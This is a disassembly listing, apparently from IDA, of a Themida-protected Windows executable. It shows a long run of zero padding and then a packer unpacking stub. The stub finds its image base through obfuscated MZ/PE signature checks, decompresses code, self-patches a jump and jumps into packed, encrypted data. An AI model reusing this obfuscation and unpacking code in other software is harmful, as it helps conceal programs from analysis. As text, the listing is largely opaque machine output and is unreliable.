		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000FB000 (1028096.)
; Section size in file		: 000FB000 (1028096.)
; Offset to raw	data for section: 000E1000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 4E1000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0AAB8A06h, 4413Eh, 54146h, 96172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 10h,	4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: Themida_:004E102Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: Themida_:004E1072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: Themida_:004E1059j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: Themida_:004E106Bj
		mov	edi, eax


loc_4E1076:				; CODE XREF: Themida_:004E102Fj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E126Ah
		add	ecx, edi
		jmp	short loc_4E1090
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: Themida_:004E101Cj
		mov	eax, offset loc_548BDF
		mov	ecx, offset word_4E126A


loc_4E1090:				; CODE XREF: Themida_:004E1084j
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: Themida_:004E1092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------


loc_4E1265:				; CODE XREF: Themida_:loc_4E1076j
					; Themida_:004E10B1j
		jmp	loc_548BDF
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: Themida_:004E108Bo
; ---------------------------------------------------------------------------
		sub	al, 35h
		push	esi
		add	[edx+0FE178BCh], ebp
		dec	dword ptr [edx-5E02DFFFh]
		add	ebp, esi
		fadd	qword ptr [ecx]
		push	esp
		push	64696D65h
		popa
		retn	0D515h
; ---------------------------------------------------------------------------
		push	ecx
		xchg	eax, edx
		pop	ss
		or	[edi-1Ch], bl
		and	al, 5Ch
		and	[ebp+7Eh], ebx
		inc	ebp
		db	36h
		retn	7E1Dh
; ---------------------------------------------------------------------------
		inc	ebp
		cwde
		retn	0F535h
; ---------------------------------------------------------------------------
		dw 2279h
		dd 7E3DC21Dh, 0DFB89D97h, 0E10335E6h, 21F2BF1Ah, 0EBEB112Eh
		dd 0E80CCBD7h, 0E8034CCAh, 147BEFEh, 8B11ECFAh,	52F03A84h
		dd 741C7365h, 41CE7261h, 4F2E2F70h, 75239C78h, 8F73390h
		dd 0A3147179h, 42EFBF68h, 1CFEAF01h, 0D487C58Bh, 8008E860h
		dd 3BED815Dh, 60A1435h,	6059589h, 2679B504h, 2E298542h
		dd 95BD8300h, 74808334h, 0E8728B0Ch, 0A7B8E227h, 70BCC2A5h
		dd 0C4247144h, 110C13Eh, 0A3E8456Ah, 9A682981h,	0E9078374h
		dd 250A40DFh, 0A7A894Bh, 29E9D544h, 5FEC0214h
; ---------------------------------------------------------------------------
		inc	eax
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B003629h
; ---------------------------------------------------------------------------
		db 24h
		dd 6C08D845h, 8963400Eh, 0F37D8108h, 741D1980h,	0FC08200Fh
		dd 0A929383h, 4312FF61h, 368DE1EBh, 0D02661DCh,	450C2C9h
		dd 0C41A8146h, 3902FF7Ch, 8D107249h, 8B058045h,	85C7085Dh
		dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h,	5D0688BDh
		dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h
		dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h
		dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h
		dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh
		dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h
		dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h
		dd 577390Ah, 99BCEB4Fh,	0FD611422h, 660A9F0Dh, 0D71E08DBh
		dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h,	5D0186A8h
		dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh
		dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh
		dd 380838BAh, 0FC702AB9h, 37B8BD10h, 470FFE00h,	0B9FA7549h
		dd 6A772271h, 1101BB1Fh, 0EB82F147h, 8ED8026Dh,	39900386h
		dd 65510715h, 5DF43683h, 0F1268ACEh, 5944E93Eh,	118B101Bh
		dd 0B84B10Fh, 6EA0D8Ch,	0DF00DC0Bh, 2CB55256h, 0CCD98BC3h
		dd 8CACF14Ah, 34CB38h, 4E398267h, 30F765Bh, 3D51B810h
		dd 3BE3D104h, 4A0E46B3h, 0B82E0975h, 14EC4871h,	359065E4h
		dd 0C584037Dh, 0A3968E05h, 0C253CB23h, 29A0C204h, 8205718Ch
		dd 0A00EE76Dh, 2B86FFD9h, 22047781h, 0C1341D00h, 7533F984h
		dd 3FBCC820h, 330ABB3Bh, 990230EFh, 8CC4EC41h, 0FFCCCF7Fh
		dd 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h
		dd 845AAB66h, 56531384h, 825E05CBh, 8150AEEEh, 7D6C22ECh
		dd 13B9518Ah, 94972302h, 186B7843h, 1704E957h, 0C4725F21h
		dd 25758A14h, 8453394h,	4721001Ah, 9B71C457h, 990D8F78h
		dd 24BC670Eh, 0ECDA8DD0h, 683D1D81h, 5E20031h, 0CA0B38B8h
		dd 1F861018h, 0EEC8FD45h, 0AE1366CEh, 0B40C1702h, 0F3EEA58h
		dd 1FBEDFAh, 38A52D0Dh,	49461104h, 0C42CFE1Dh, 60398C58h
		dd 7D8A11C4h, 48801E88h, 70CBC458h, 2C673F4h, 90DCA0C5h
		dd 1B608C8Fh, 12634686h, 0D08EA62h, 6D1A2435h, 88D9E946h
		dd 261BD224h, 3D2530E3h, 0EF3F1DA2h, 23C8809Bh,	0B48BD763h
		dd 0B8F029Ah, 0DCE8910Dh, 10892AA7h, 0C76F2FEFh, 0E95A750Ch
		dd 0B11B0Ch, 403E570Dh,	502DF372h, 0C052C0F3h, 0C31CFE70h
		dd 82435C0Eh, 50683CC2h, 3DCBF732h, 0C3803256h,	0CFAB509Bh
		dd 8BA48510h, 0C870C0ECh, 8C673207h, 8AF55FF9h,	0F2B80F4Fh
		dd 7A206C00h, 78B52C85h, 50F73CB0h, 0B83F1D07h,	0EEC783C3h
		dd 541514F0h, 0A9C0670Ah, 3217B55Dh, 0EA849600h, 0A71B905h
		dd 4B59BD88h, 7E2411FCh, 0D80B0D60h, 22803Fh, 0B16AFFB4h
		dd 55C3588Ah, 2332EA31h, 2AE5ABE4h, 7A1EE8h, 345906BDh
		dd 0FEAE212h, 0F48425C0h, 1D29D1Ah, 5371BED0h, 0FCA5E814h
		dd 8858EAC7h, 0C2D4801Ch, 75E2A7Eh, 239570D6h, 16601F62h
		dd 6D7C0276h, 0A900F77Bh, 377B5C7Fh, 134A56Fh, 7AA2A8C0h
		dd 0F8D56971h, 0A4EC4CD4h, 31648D00h, 0D232B680h, 0A67C00FEh
		dd 22AEC830h, 0C100558Fh, 1E464D6Eh, 42E9F4h, 0F8F9149Eh
		dd 7F76277Ch, 92AEDB00h, 7DA65499h, 483A03C3h, 18F3F18Ch
		dd 0F614911Dh, 751A31F1h, 0A90008BEh, 481CD126h, 0A707D443h
		dd 390A5CFBh, 7F80CE97h, 5FBDB2h, 1D5A6D80h, 5DA054BCh
		dd 5207800h, 0F3E5453Fh, 0FAC70EAFh, 0FB008188h, 0A6B99340h
		dd 0ED4F1D18h, 6EEE71h,	0D9E8B468h, 3CA398EFh, 9ED8463Ah
		dd 6FC0168Ah, 5F31A6C0h, 756D02B5h, 0F7DDC882h,	0E083F541h
		dd 9A008D02h, 277D01F6h, 0C07A8066h, 3EC1ACC1h,	0E403B662h
		dd 0FA6F6513h, 0FD81A718h, 46F80532h, 0F97600D1h, 0A711996Dh
		dd 67C1920h, 8FB631CFh,	211287D1h, 0B002E0C3h, 4BDE7Bh
		dd 0B45120B9h, 1455A00Dh, 330620DFh, 1D181501h,	33E722C4h
		dd 71884949h, 0EA7CC247h, 0C58EAC0Eh, 4CFB8A0Ch, 15711218h
		dd 88FE0032h, 0FC30649Eh, 4F0E447Eh, 6082F068h,	4F710E2h
		dd 3113606Eh, 3DA1FBA4h, 0D7B7C303h, 0D71CCF0Dh, 4093A08Eh
		dd 21718Eh, 2B14282Fh, 31C587E0h, 20D03A28h, 0B2C10200h
		dd 3FB5D651h, 904F1679h, 0BBEB039Bh, 703CF267h,	0D9A5B0DDh
		dd 0A85B3CD4h, 748BEA8h, 0CA12B01Dh, 887A30C8h,	0CB007C31h
		dd 0BDF7F04Fh, 0C017197Bh, 6D547738h, 68780D56h, 609840F5h
		dd 48404923h, 0E22221C5h, 19084F1Fh, 21160052h,	0C99C0D12h
